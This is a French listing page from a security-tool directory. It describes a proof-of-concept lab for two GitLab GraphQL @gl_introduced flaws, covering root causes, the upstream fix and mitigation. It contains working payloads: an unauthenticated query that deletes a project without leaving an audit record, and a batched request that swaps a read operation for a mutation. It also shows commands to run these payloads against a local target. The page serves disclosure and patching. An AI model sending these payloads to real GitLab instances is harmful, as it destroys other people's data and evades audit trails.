Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-19478 — Fournit des exploits PoC et une analyse des causes racines pour deux vulnérabilités de la directive GraphQL `@gl_introduced` de GitLab : exécution de méthode non authentifiée et échange de document par lots, avec le correctif en amont et des preuves en direct. | Kitploit
Outils/GitHubGitHub/n0xdaemon/cve-2026-19478
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APISécurité Web
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Fournit des exploits PoC et une analyse des causes racines pour deux vulnérabilités de la directive GraphQL `@gl_introduced` de GitLab : exécution de méthode non authentifiée et échange de document par lots, avec le correctif en amont et des preuves en direct.

Voir le dépôt
il y a 3 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-19478 — Vulnérabilités du filtre de versions GraphQL @gl_introduced de GitLab

Un laboratoire de reproduction pour deux bogues liés dans la fonctionnalité de filtre de versions GraphQL de GitLab (la directive @gl_introduced). Les deux vivent dans la même zone fonctionnelle, sont corrigés par le même patch en amont, et permettent tous deux à une requête GraphQL d'atteindre des chemins de code qu'elle n'a jamais déclarés :

  • Exécution de méthode par champ de repli — une requête unique, non authentifiée et non groupée peut invoquer une méthode arbitraire sans argument (par ex. destroy) sur le modèle derrière n'importe quel type GraphQL, simplement en nommant un champ qui n'existe pas et en le taguant @gl_introduced.
  • Échange de document entre opérations — dans une requête groupée (multiplex), le document de requête analysé d'une opération peut être substitué à celui d'une autre, si bien qu'un slot qui déclarait une lecture inoffensive finit par exécuter la mutation d'un autre slot.
Télécharger l’outil
Affecté18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Corrigé18.11.11, 19.0.8, 19.1.6, 19.2.4
Cible du labgitlab/gitlab-ce:19.2.2-ce.0 (dernier build avant le correctif)
DéclencheurDirective GraphQL @gl_introduced, seule ou dans un lot

Structure du dépôt

root@kitploit:~
docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Tout ce qui se trouve sous src/ est du texte source amont verbatim, jamais réimplémenté — le chargeur superpose src/vuln ou src/patched sur src/common.


1. Cause racine

1a. Champ de repli → résolution de méthode par défaut de graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback permet à une requête de référencer un champ qui n'existe pas encore sur un type sans que la requête échoue — conçu pour les déploiements progressifs, où le schéma d'un ancien nœud ne possède pas encore un champ qu'un nœud plus récent fournit déjà. Son override get_field vérifie si le champ demandé est manquant et si la requête est marquée contain_future_fields ; si c'est le cas, il renvoie un champ synthétique au lieu de lever une exception :

root@kitploit:~
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

Le problème : ce GraphQL::Schema::Field est construit sans méthode de résolution, sans classe de résolution, sans bloc. La résolution de champ par défaut de graphql-ruby s'applique alors (graphql gem 2.6.3, lib/graphql/schema/field.rb) :

root@kitploit:~
inner_object.public_send(@method_sym)

@method_sym est le nom du champ, en snake_case — c'est-à-dire exactement la chaîne que l'attaquant a placée dans la requête. Si l'objet derrière le type GraphQL (le modèle ActiveRecord) possède par hasard une méthode publique réelle sans argument portant ce nom, graphql-ruby l'appelle et renvoie son résultat (converti au type attendu). fallback_value: nil ne s'applique que lorsque la méthode n'existe vraiment pas — il ne fait rien pour empêcher une méthode réelle de s'exécuter.

Donc : interrogez n'importe quel type pour un champ nommé d'après une méthode destructive réelle — destroy, par exemple — taguez-le @gl_introduced pour qu'il survive jusqu'à l'exécution, et la méthode s'exécute.

1b. Échange de document entre opérations

IntroducedTracer implémente le reste de la fonctionnalité de filtre de versions à travers deux hooks de trace graphql-ruby — parse (une fois par opération) et execute_query (une fois par opération). Dans la version vulnérable, il stocke son état par opération dans de simples variables d'instance sur l'objet de trace :

root@kitploit:~
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

Le problème : graphql-ruby partage UNE seule instance de trace pour chaque opération d'une requête multiplexée, et les analyse toutes avant d'en exécuter une seule. Donc dans un lot de deux opérations :

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 porte un champ futur @gl_introduced)

Après l'analyse, seul l'état de la dernière opération survit. Puis l'exécution se déroule :

  1. execute_query(op1) → le drapeau est true, donc le document d'op1 est écrasé avec op2_doc et ré-analysé → le slot d'op1 exécute l'opération d'op2.

op1 déclarait une lecture ; il exécute l'écriture d'op2.

Le correctif

patch-19.2.2-to-19.2.4.diff corrige les deux :

root@kitploit:~
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Déroulement de l'exploitation

2a. Champ de repli — requête unique, sans authentification, sans lot

root@kitploit:~
query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Pas d'en-tête Authorization. Une seule opération, pas de lot. destroy n'est pas un vrai champ sur Project — il n'existe pas du tout dans le schéma — mais la directive fait que FutureFieldFilter le retire avant la validation statique et arme contain_future_fields pour l'exécution, où get_field renvoie un champ sans résolveur nommé destroy et graphql-ruby appelle project.public_send(:destroy).

Vérifié en conditions réelles (evidence/live_vuln_fallback_field.txt, reproduit trois fois contre trois projets jetables distincts) : envoyée contre un projet public, la réponse était {"data":{"project":{"id":"...","destroy":true}}}. Un contrôle REST authentifié de suivi (GET /api/v4/projects/:id) a renvoyé 404 — le projet avait réellement disparu. Le journal des requêtes pour cet appel montre 9 écritures de base de données synchrones et zéro nouvelle ligne AuditEvent : l'appel contourne entièrement Projects::DestroyService (et avec lui la piste d'audit, les webhooks et les notifications) — c'est une cascade ActiveRecord#destroy brute invoquée directement via la résolution de champ par défaut de GraphQL.

2b. Échange de document entre opérations — nécessite un lot

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation

    A->>C: POST /api/graphql  [ {query: op1}, {query: op2} ]
    Note over A: op1 = query { currentUser { username } }   (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
    C->>T: parse(op1)
    Note over T: @original = op1_doc, future=false
    C->>T: parse(op2)
    Note over T: @original = op2_doc, future=TRUE  (overwrites op1 state)
    C->>T: execute_query(op1)
    T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
    T->>S: run starProject  ← smuggled into the read slot
    S-->>A: slot 1 returns { starProject: { count } } #59; star state changed

Charge utile op2 — la directive @gl_introduced n'a qu'à se trouver sur un champ réel pour qu'au moment de l'analyse, FutureFieldFilter bascule contain_future_fields et arme l'échange :

root@kitploit:~
mutation {
  starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
    count @gl_introduced(version: "99.0.0")
  }
}

Vérifié en conditions réelles (evidence/live_vuln.txt) : le slot 1, qui déclarait query { currentUser { username } }, renvoie {"data":{"starProject":{"count":"0"}}} et le compteur d'étoiles du projet passe de 1 → 0.


3. Exécution des PoC

PoC #1 — exploitation HTTP en conditions réelles, exécution de méthode par champ de repli

root@kitploit:~
docker compose up -d          # first boot runs migrations; wait for healthy (~10 min)

GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
  bash harness/live_test_fallback.sh

Le script crée un projet public jetable via l'API REST authentifiée (uniquement pour la configuration), envoie une seule requête GraphQL non authentifiée nommant un champ destroy tagué @gl_introduced, puis revérifie le projet via REST authentifié. Il déclare VULNERABLE si le projet a disparu.

PoC #2 — exploitation HTTP en conditions réelles, échange de document entre opérations

root@kitploit:~
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
  bash harness/live_test.sh

Le script lit l'état de base des étoiles, envoie le lot de deux opérations et déclare VULNERABLE si le slot 1 déclaré comme lecture renvoie une charge utile starProject (et/ou si le compteur d'étoiles change).

PoC #3 — cause racine autonome, échange de document (sans GitLab)

Isole Gitlab::Graphql::VersionFilter dans une petite application graphql-ruby afin que l'échange soit visible sans aucun bruit GitLab. Charge la vraie source amont.

root@kitploit:~
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln      # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched   # -> SAFE

4. Impact

Les deux vecteurs sont confirmés en conditions réelles contre gitlab/gitlab-ce:19.2.2-ce.0. Ils présentent des expositions d'autorisation différentes car ils frappent différentes couches de la pile GitLab.

Champ de repli (1a) : non authentifié confirmé, destructif

Aucun jeton, pas de lot, une seule requête. La réponse renvoie directement le résultat de la méthode ("destroy": true), et l'enregistrement sous-jacent est réellement détruit — confirmé via REST authentifié (404) et via des preuves côté serveur (zéro ligne AuditEvent, 9 écritures synchrones en une seule requête), ce qui signifie que cela contourne entièrement le service de suppression normal de GitLab. Reproduit trois fois indépendamment, contre trois projets jetables distincts. Tout type GraphQL dont l'objet sous-jacent expose une méthode destructive réelle sans argument est un candidat.

Échange entre opérations (1b) : authentifié confirmé ; bloqué quand anonyme

Avec n'importe quel jeton possédant le scope api, une opération qui déclarait une lecture exécute une écriture qu'elle n'a jamais demandée (compteur d'étoiles 1 → 0, piloté par un slot de type query). Envoyé sans jeton, l'échange se déclenche quand même — le slot de lecture atteint et résout bien starProject — mais chaque mutation GitLab hérite de Mutations::BaseMutation, dont la barrière self.authorized? s'exécute au moment de l'exécution :

root@kitploit:~
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)

Pour une requête anonyme, current_user est nil, et GlobalPolicy fait rule { anonymous }.policy { prevent :execute_graphql_mutation }. Un balayage de 10 agencements de lots (ordre, directive sur champ / sous-champ / fragment en ligne, lots de 2 et 3 opérations) sans authentification : le slot détourné heurte la barrière à chaque fois et le compteur d'étoiles ne bouge jamais.

Cette barrière est spécifique aux mutations — elle n'a aucune incidence sur 1a, qui ne touche jamais Mutations::BaseMutation ; le champ de repli se résout directement contre le modèle comme un simple champ de type query, sans aucun contrôle d'autorisation dans le chemin.

Pourquoi le PoC autonome (#3) semble non authentifié pour 1b

src/common/demo_app.rb n'a aucune couche d'autorisation — sa mutation écrit simplement. Donc le PoC #3 démontre le mécanisme d'échange (un slot de lecture effectuant une écriture) dans un bac à sable sans authentification. Le vrai GitLab applique la barrière execute_graphql_mutation que la démo omet — spécifiquement pour 1b. Sur ce build standard, une écriture pilotée par mutation sans identifiants n'est pas atteignable via 1b seul ; elle est atteignable via 1a, qui n'a besoin d'aucune mutation.


5. Atténuation

Mettez à jour vers 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 ou ultérieur. Le correctif (voir le diff) fait deux choses : future_field_fallback.rb donne au champ de repli un résolveur explicite (Resolvers::NilResolver, qui renvoie toujours nil) au lieu de s'appuyer sur la résolution de méthode par défaut de graphql-ruby, fermant 1a ; introduced_tracer.rb limite l'état par opération du traceur au document de chaque opération au lieu d'une variable d'instance partagée, fermant 1b.